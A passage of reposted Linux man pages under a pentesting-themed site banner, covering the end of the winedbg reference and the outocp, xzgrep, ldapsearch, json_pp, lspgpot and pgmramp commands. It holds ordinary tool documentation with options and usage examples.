cont, step, next, stepi, nexti can be postfixed by a number (N), meaning that the command must be executed N times before control is returned to the user.

Breakpoints, watchpoints

enable N
Enables (break|watch)-point N

disable N
Disables (break|watch)-point N

delete N
Deletes (break|watch)-point N

cond N
Removes any existing condition to (break|watch)-point N

cond N expr
Adds condition expr to (break|watch)-point N. expr will be evaluated each time the (break|watch)-point is hit. If the result is a zero value, the breakpoint isn’t triggered.

break * N
Adds a breakpoint at address N

break id
Adds a breakpoint at the address of symbol id

break id N
Adds a breakpoint at the line N inside symbol id.

break N
Adds a breakpoint at line N of current source file.

break
Adds a breakpoint at current $PC address.

watch * N
Adds a watch command (on write) at address N (on 4 bytes).

watch id
Adds a watch command (on write) at the address of symbol id. Size depends on size of id.

rwatch * N
Adds a watch command (on read) at address N (on 4 bytes).

rwatch id
Adds a watch command (on read) at the address of symbol id. Size depends on size of id.

info break
Lists all (break|watch)-points (with their state).

You can use the symbol EntryPoint to stand for the entry point of the Dll.

When setting a (break|watch)-point by id, if the symbol cannot be found (for example, the symbol is contained in a not yet loaded module), winedbg will recall the name of the symbol and will try to set the breakpoint each time a new module is loaded (until it succeeds).

Stack manipulation

bt
Print calling stack of current thread.

bt N
Print calling stack of thread of ID N. Note: this doesn’t change the position of the current frame as manipulated by the up & dn commands).

up
Goes up one frame in current thread’s stack

up N
Goes up N frames in current thread’s stack

dn
Goes down one frame in current thread’s stack

dn N
Goes down N frames in current thread’s stack

frame N
Sets N as the current frame for current thread’s stack.

info locals
Prints information on local variables for current function frame.

Directory & source file manipulation

show dir
Prints the list of dirs where source files are looked for.

dir pathname
Adds pathname to the list of dirs where to look for source files

dir
Deletes the list of dirs where to look for source files

symbolfile pathname
Loads external symbol definition file pathname

symbolfile pathname N
Loads external symbol definition file pathname (applying an offset of N to addresses)

list
Lists 10 source lines forwards from current position.

list -
Lists 10 source lines backwards from current position

list N
Lists 10 source lines from line N in current file

list pathname:N
Lists 10 source lines from line N in file pathname

list id
Lists 10 source lines of function id

list * N
Lists 10 source lines from address N

You can specify the end target (to change the 10 lines value) using the ‘,’ separator. For example:

list 123, 234
lists source lines from line 123 up to line 234 in current file

list foo.c:1,56
lists source lines from line 1 up to 56 in file foo.c

Displaying

A display is an expression that’s evaluated and printed after the execution of any winedbg command.

display

info display
Lists the active displays

display expr
Adds a display for expression expr

display /fmt expr
Adds a display for expression expr. Printing evaluated expr is done using the given format (see print command for more on formats)

del display N

undisplay N
Deletes display N

Disassembly

disas
Disassemble from current position

disas expr
Disassemble from address expr

disas expr,expr
Disassembles code between addresses specified by the two expressions

Memory (reading, writing, typing)

x expr
Examines memory at address expr

x /fmt expr
Examines memory at address expr using format fmt

print expr
Prints the value of expr (possibly using its type)

print /fmt expr
Prints the value of expr (possibly using its type)

set var = expr
Writes the value of expr in var variable

whatis expr
Prints the C type of expression expr

fmt
is either letter or count letter, where letter can be:

  1. an ASCII string

  2. a UTF16 Unicode string

  3. instructions (disassemble)

  4. 32-bit unsigned hexadecimal integer

  5. 32-bit signed decimal integer

  6. 16-bit unsigned hexadecimal integer

  7. character (only printable 0x20-0x7f are actually printed)

  8. 8-bit unsigned hexadecimal integer

  9. Win32 GUID

Expressions

Expressions in Wine Debugger are mostly written in a C form. However, there are a few discrepancies:

Identifiers can take a ‘!’ in their names. This allows mainly to specify a module where to look the ID from, e.g. USER32!CreateWindowExA.

In a cast operation, when specifying a structure or a union, you must use the struct or union keyword (even if your program uses a typedef).

When specifying an identifier, if several symbols with this name exist, the debugger will prompt for the symbol you want to use. Pick up the one you want from its number.

Misc.

**minidump **file.mdmp saves the debugging context of the debuggee into a minidump file called file.mdmp.

Information on Wine internals

info class
Lists all Windows classes registered in Wine

info class id
Prints information on Windows class id

info share
Lists all the dynamic libraries loaded in the debugged program (including .so files, NE and PE DLLs)

info share N
Prints information on module at address N

info regs
Prints the value of the CPU registers

info all-regs
Prints the value of the CPU and Floating Point registers

info segment
Lists all allocated segments (i386 only)

info segment N
Prints information on segment N (i386 only)

info stack
Prints the values on top of the stack

info map
Lists all virtual mappings used by the debugged program

info map N
Lists all virtual mappings used by the program of Windows pid N

info wnd
Displays the window hierarchy starting from the desktop window

info wnd N
Prints information of Window of handle N

info process
Lists all w-processes in Wine session

info thread
Lists all w-threads in Wine session

info frame
Lists the exception frames (starting from current stack frame). You can also pass, as optional argument, a thread id (instead of current thread) to examine its exception frames.

Debug messages can be turned on and off as you are debugging using the set command, but only for channels initialized with the WINEDEBUG environment variable.

set warn + win
Turns on warn on win channel

set + win
Turns on warn/fixme/err/trace on win channel

set - win
Turns off warn/fixme/err/trace on win channel

set fixme - all
Turns off fixme class on all channels

Gdb mode:

See the gdb documentation for all the gdb commands.

However, a few Wine extensions are available, through the monitor command:

monitor wnd
Lists all windows in the Wine session

monitor proc
Lists all processes in the Wine session

monitor mem
Displays memory mapping of debugged process

Auto and minidump modes:

Since no user input is possible, no commands are available.

ENVIRONMENT

WINE_GDB
When used in gdb proxy mode, WINE_GDB specifies the name (and the path) of the executable to be used for gdb. “gdb” is used by default.

AUTHORS

The first version was written by Eric Youngdale.

See Wine developers list for the rest of contributors.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

winedbg is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1718 - Linux cli command outocp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command outocp and provides detailed information about the command outocp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the outocp.

NAME 🖥️ outocp 🖥️

debug an OCP file

SYNOPSIS

outocp OCPFILE[.ocp]

DESCRIPTION

outocp is used for debugging Omega Compiled Translation Process (OCP) files. It generates some statistics about the OCP file, and then runs through the states that the file defines.

Omega Translation Processes are rules used to translate one character set to another and to choose between characters with one or more context-sensitive variants. OTPs could also be used to change the case or hyphenation of text.

BUGS

Email bug reports to <https://lists.tug.org/tex-k> (public mailing list).

SEE ALSO

ocp2otp(1), otp2ocp(1), omega(1). <https://ctan.org/pkg/omega>

AUTHOR

mkocp is part of Omega. The primary authors of Omega are John Plaice and Yannis Haralambous.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1719 - Linux cli command xzgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xzgrep and provides detailed information about the command xzgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xzgrep.

NAME 🖥️ xzgrep 🖥️

search possibly-compressed files for patterns

SYNOPSIS

xzgrep [option…] [pattern_list] [file…]
xzegrep
xzfgrep
lzgrep
lzegrep
lzfgrep

DESCRIPTION

xzgrep invokes grep(1) on uncompressed contents of files. The formats of the files are determined from the filename suffixes. Any file with a suffix supported by xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) will be decompressed; all other files are assumed to be uncompressed.

If no files are specified or file is - then standard input is read. When reading from standard input, only files supported by xz(1) are decompressed. Other files are assumed to be in uncompressed form already.

Most options of grep(1) are supported. However, the following options are not supported:

-r, –recursive

-R, –dereference-recursive

-d, **–directories=**action

-Z, –null

-z, –null-data

**–include=**glob

**–exclude=**glob

**–exclude-from=**file

**–exclude-dir=**glob

xzegrep is an alias for xzgrep -E. xzfgrep is an alias for xzgrep -F.

The commands lzgrep, lzegrep, and lzfgrep are provided for backward compatibility with LZMA Utils.

EXIT STATUS

0
At least one match was found from at least one of the input files. No errors occurred.

1
No matches were found from any of the input files. No errors occurred.

>1
One or more errors occurred. It is unknown if matches were found.

ENVIRONMENT

GREP
If GREP is set to a non-empty value, it is used instead of grep, grep -E, or grep -F.

SEE ALSO

grep(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1), zgrep(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1720 - Linux cli command ldapsearch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapsearch and provides detailed information about the command ldapsearch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapsearch.

NAME 🖥️ ldapsearch 🖥️

LDAP search tool

SYNOPSIS

ldapsearch [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -c] [ -u] [ -t[t]] [ -T* path]* [ -F* prefix]* [ -A] [ -L[L[L]]] [ -S* attribute]* [ -b* searchbase]* [ -s {base | one | sub | children}] [ -a {never | always | search | find}] [ -l* timelimit]* [ -z* sizelimit]* [ -f* file]* [ -M[M]] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -P {2 | 3}] [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]] filter [ attrs…]

DESCRIPTION

ldapsearch is a shell-accessible interface to the ldap_search_ext(3) library call.

ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters. The filter should conform to the string representation for search filters as defined in RFC 4515. If not provided, the default filter, (objectClass=*), is used.

If ldapsearch finds one or more entries, the attributes specified by attrs are returned. If * is listed, all user attributes are returned. If + is listed, all operational attributes are returned. If no attrs are listed, all user attributes are returned. If only 1.1 is listed, no attributes will be returned.

The search results are displayed using an extended version of LDIF. Option -L controls the format of the output.

OPTIONS

-V[V]
Print version info. If -VV is given, exit after providing version info. Otherwise proceed with the specified search

-d* debuglevel*
Set the LDAP debugging level to debuglevel. ldapsearch must be compiled with LDAP_DEBUG defined for this option to have any effect.

-n
Show what would be done, but don’t actually perform the search. Useful for debugging in conjunction with -v.

-v
Run in verbose mode, with many diagnostics written to standard output.

-c
Continuous operation mode. Errors are reported, but ldapsearch will continue with searches. The default is to exit after reporting an error. Only useful in conjunction with -f.

-u
Include the User Friendly Name form of the Distinguished Name (DN) in the output.

-t[t]
A single -t writes retrieved non-printable values to a set of temporary files. This is useful for dealing with values containing non-character data such as jpegPhoto or audio. A second -t writes all retrieved values to files.

-T* path*
Write temporary files to directory specified by path (default: /var/tmp/)

-F* prefix*
URL prefix for temporary files. Default is **file://**path where path is /var/tmp/ or specified with -T.

-A
Retrieve attributes only (no values). This is useful when you just want to see if an attribute is present in an entry and are not interested in the specific values.

-L
Search results are display in LDAP Data Interchange Format detailed in ldif(5). A single -L restricts the output to LDIFv1. A second -L disables comments. A third -L disables printing of the LDIF version. The default is to use an extended version of LDIF.

-S* attribute*
Sort the entries returned based on attribute**. The default is not** to sort entries returned. If attribute is a zero-length string (""), the entries are sorted by the components of their Distinguished Name. See ldap_sort(3) for more details. Note that ldapsearch normally prints out entries as it receives them. The use of the -S option defeats this behavior, causing all entries to be retrieved, then sorted, then printed.

-b* searchbase*
Use searchbase as the starting point for the search instead of the default.

-s {base | one | sub | children}
Specify the scope of the search to be one of base, one, sub, or children to specify a base object, one-level, subtree, or children search. The default is sub. Note: children scope requires LDAPv3 subordinate feature extension.

-a {never | always | search | find}
Specify how aliases dereferencing is done. Should be one of never, always, search, or find to specify that aliases are never dereferenced, always dereferenced, dereferenced when searching, or dereferenced only when locating the base object for the search. The default is to never dereference aliases.

-l* timelimit*
wait at most timelimit seconds for a search to complete. A timelimit of 0 (zero) or none means no limit. A timelimit of max means the maximum integer allowable by the protocol. A server may impose a maximal timelimit which only the root user may override.

-z* sizelimit*
retrieve at most sizelimit entries for a search. A sizelimit of 0 (zero) or none means no limit. A sizelimit of max means the maximum integer allowable by the protocol. A server may impose a maximal sizelimit which only the root user may override.

-f* file*
Read a series of lines from file**, performing one LDAP search for** each line. In this case, the filter given on the command line is treated as a pattern where the first and only occurrence of %s is replaced with a line from file**. Any other occurrence of the** the % character in the pattern will be regarded as an error. Where it is desired that the search filter include a % character, the character should be encoded as \25 (see RFC 4515). If file is a single - character, then the lines are read from standard input. ldapsearch will exit when the first non-successful search result is returned, unless -c is used.

-M[M]
Enable manage DSA IT control. -MM makes control critical.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory. For SASL binds, the server is expected to ignore this value.

-W
Prompt for simple authentication. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password for simple authentication.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication.

-H* ldapuri*
Specify URI(s) referring to the ldap server(s); a list of URI, separated by whitespace or commas is expected; only the protocol/host/port fields are allowed. As an exception, if no host/port is specified, but a DN is, the DN is used to look up the corresponding host(s) using the DNS SRV records, according to RFC 2782. The DN must be a non-empty sequence of AVAs whose attribute type is “dc” (domain component), and must be escaped according to RFC 2396.

-P {2 | 3}
Specify the LDAP protocol version to use.

-e [!]ext[=extparam]
-E [!]ext[=extparam]
Specify general extensions with -e and search extensions with -E.!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

Search extensions:

  !dontUseCopy
  [!]domainScope                       (domain scope)
  [!]mv=<filter>                       (matched values filter)
  [!]pr=<size>[/prompt|noprompt]       (paged results/prompt)
  [!]sss=[-]<attr[:OID]>[/[-]<attr[:OID]>...]  (server side sorting)
  [!]subentries[=true|false]           (subentries)
  [!]sync=ro[/<cookie>]                (LDAP Sync refreshOnly)
          rp[/<cookie>][/<slimit>]     (LDAP Sync refreshAndPersist)
  [!]vlv=<before>/<after>(/<offset>/<count>|:<value>)  (virtual list view)
  [!]deref=derefAttr:attr[,attr[...]][;derefAttr:attr[,attr[...]]]
  [!]<oid>[=:<value>|::<b64value>]

-o* opt***[=optparam]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the ID depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>

-Y* mech*
Specify the SASL mechanism to be used for authentication. If it’s not specified, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. If you use -ZZ, the command will require the operation to be successful.

OUTPUT FORMAT

If one or more entries are found, each entry is written to standard output in LDAP Data Interchange Format or ldif(5):

    version: 1

    # bjensen, example, net
    dn: uid=bjensen,dc=example,dc=net
    objectClass: person
    objectClass: dcObject
    uid: bjensen
    cn: Barbara Jensen
    sn: Jensen
    ...

If the -t option is used, the URI of a temporary file is used in place of the actual value. If the -A option is given, only the “attributename” part is written.

EXAMPLE

The following command:

    ldapsearch -LLL "(sn=smith)" cn sn telephoneNumber

will perform a subtree search (using the default search base and other parameters defined in ldap.conf(5)) for entries with a surname (sn) of smith. The common name (cn), surname (sn) and telephoneNumber values will be retrieved and printed to standard output. The output might look something like this if two entries are found:

    dn: uid=jts,dc=example,dc=com
    cn: John Smith
    cn: John T. Smith
    sn: Smith
    sn;lang-en: Smith
    sn;lang-de: Schmidt
    telephoneNumber: 1 555 123-4567

    dn: uid=sss,dc=example,dc=com
    cn: Steve Smith
    cn: Steve S. Smith
    sn: Smith
    sn;lang-en: Smith
    sn;lang-de: Schmidt
    telephoneNumber: 1 555 765-4321

The command:

    ldapsearch -LLL -u -t "(uid=xyz)" jpegPhoto audio

will perform a subtree search using the default search base for entries with user id of “xyz”. The user friendly form of the entry’s DN will be output after the line that contains the DN itself, and the jpegPhoto and audio values will be retrieved and written to temporary files. The output might look like this if one entry with one value for each of the requested attributes is found:

    dn: uid=xyz,dc=example,dc=com
    ufn: xyz, example, com
    audio:< file:///tmp/ldapsearch-audio-a19924
    jpegPhoto:< file:///tmp/ldapsearch-jpegPhoto-a19924

This command:

    ldapsearch -LLL -s one -b "c=US" "(o=University*)" o description

will perform a one-level search at the c=US level for all entries whose organization name (o) begins with University. The organization name and description attribute values will be retrieved and printed to standard output, resulting in output similar to this:

    dn: o=University of Alaska Fairbanks,c=US
    o: University of Alaska Fairbanks
    description: Naturally Inspiring
    description: leaf node only

    dn: o=University of Colorado at Boulder,c=US
    o: University of Colorado at Boulder
    description: No personnel information
    description: Institution of education and research

    dn: o=University of Colorado at Denver,c=US
    o: University of Colorado at Denver
    o: UCD
    o: CU/Denver
    o: CU-Denver
    description: Institute for Higher Learning and Research

    dn: o=University of Florida,c=US
    o: University of Florida
    o: UFl
    description: Warper of young minds

    ...

DIAGNOSTICS

Exit status is zero if no errors occur. Errors result in a non-zero exit status and a diagnostic message being written to standard error.

SEE ALSO

ldapadd(1), ldapdelete(1), ldapmodify(1), ldapmodrdn(1), ldap.conf(5), ldif(5), ldap(3), ldap_search_ext(3), ldap_sort(3)

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1721 - Linux cli command json_pp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command json_pp and provides detailed information about the command json_pp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the json_pp.

NAME 🖥️ json_pp 🖥️

JSON::PP command utility

SYNOPSIS

json_pp [-v] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,…]]]

DESCRIPTION

json_pp converts between some input and output formats (one of them is JSON). This program was copied from json_xs and modified.

The default input format is json and the default output format is json with pretty option.

OPTIONS

-f

-f from_format

Reads a data in the given format from STDIN.

Format types:

json
as JSON

eval
as Perl code

-t

Writes a data in the given format to STDOUT.

null
no action.

json
as JSON

dumper
as Data::Dumper

-json_opt

options to JSON::PP

Acceptable options are:

ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref allow_singlequote allow_barekey allow_bignum loose escape_slash indent_length

Multiple options must be separated by commas:

Right: -json_opt pretty,canonical Wrong: -json_opt pretty -json_opt canonical

-v

Verbose option, but currently no action in fact.

-V

Prints version and exits.

EXAMPLES

$ perl -eprint q|{“foo”:“あい”,“bar”:1234567890000000000000000}| |\ json_pp -f json -t dumper -json_opt pretty,utf8,allow_bignum $VAR1 = { bar => bless( { value => [ 0000000, 0000000, 5678900, 1234 ], sign => + }, Math::BigInt ), foo => “\x{3042}\x{3044}” }; $ perl -eprint q|{“foo”:“あい”,“bar”:1234567890000000000000000}| |\ json_pp -f json -t dumper -json_opt pretty $VAR1 = { bar => 1234567890000000000000000, foo => “\x{e3}\x{81}\x{82}\x{e3}\x{81}\x{84}” };

SEE ALSO

JSON::PP, json_xs

AUTHOR

Makamaka Hannyaharamitu, <makamaka[at]cpan.org>

COPYRIGHT AND LICENSE

Copyright 2010 by Makamaka Hannyaharamitu

This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1722 - Linux cli command lspgpot

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lspgpot and provides detailed information about the command lspgpot, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lspgpot.

NAME 🖥️ lspgpot 🖥️

extracts the ownertrust values from PGP keyrings and list them in GnuPG ownertrust format.

SYNOPSIS

lspgpot

DESCRIPTION

lspgpot extracts the ownertrust values from PGP keyrings and list them in GnuPG ownertrust format.

AUTHOR

Copyright (C) 2002 Free Software Foundation, Inc. Please report bugs to <[email protected]>.

This manpage was written by Francois Wendling <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1723 - Linux cli command pgmramp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmramp and provides detailed information about the command pgmramp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmramp.

.

NAME 🖥️ pgmramp 🖥️

generate a grayscale ramp

SYNOPSIS

pgmramp {-lr|-tb|-rectangle|-ellipse|-diagonal} [**-maxval=**maxval] width height

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

Generates a graymap of the specified size containing a black-to-white ramp. These ramps are useful for multiplying with other images, using pamarith.

The ramp is linear in brightness, not intensity. I.e. the gamma-corrected sample values in the PGM rise linearly with distance from the corner of the image. If you want a ramp that is linear in light intensity, use pnmgamma with pgmramp.

Options let you choose the shape of the ramp (left to right, inside out, etc.). You can use pamflip to get more shapes. For example, the -lr option gives you a left to right ramp and

    $ pgmramp -lr 100 100 | pamflip -lr

gives you a right to left ramp.

To generate a simple ramp of all the values from 0 to maxval, and not necessarily a graphic image, use pamseq(1) .

ppmrainbow does something similar to what pgmramp does, but for color. The image fades between two colors of your choice.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmramp recognizes the following command line options:

You must specify exactly one of the ramp type options.

-lr
A left to right ramp. Black on the left; white on the right.

-tb
A top to bottom ramp. Black on top; white on the bottom.

-rectangle
An outside-in rectangular ramp. It is black around the edges and white in the center.

-ellipse
An outside-in elliptical ramp. It is black around the edge and white in the center.

-diagonal
A ramp from top left corner diagonally down to bottom right. Black at the top left; white at the bottom right.

This option was new in Netpbm 10.66 (March 2014).

**-maxval=**maxval
The maxval for the generated image. Default is 255.

This option was new in Netpbm 10.1 (June 2002). Before that, the maxval is always 255.

SEE ALSO

pamflip(1) , pamarith(1) , pnmgamma(1) , pamseq(1) , ppmrainbow(1) , pamgradient(1) , pgm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmramp.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

